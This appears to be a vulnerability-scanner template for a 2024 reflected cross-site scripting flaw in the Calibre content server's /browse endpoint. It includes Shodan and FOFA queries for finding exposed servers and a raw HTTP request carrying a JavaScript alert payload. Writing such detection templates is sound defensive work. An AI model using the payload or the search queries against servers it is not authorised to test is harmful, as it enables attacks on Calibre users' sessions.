It is possible to inject arbitrary JavaScript code into the /browse endpoint of the Calibre content server, allowing an attacker to craft a URL that when clicked by a victim, will execute the attacker’s JavaScript code in the context of the victim’s browser. If the Calibre server is running with authentication enabled and the victim is logged in at the time, this can be used to cause the victim to perform actions on the Calibre server on behalf of the attacker.
reference:
- https://starlabs.sg/advisories/24/24-7008/
metadata:
verified:true
shodan-query:html:"Calibre"
fofa-query:"Server: calibre"
max-requeset:1
tags:cve,cve2024,calibre,xss
http:
- raw:
- |
GET /browse/book/TEST";window.stop();alert(document.domain);%2f%2f HTTP/1.1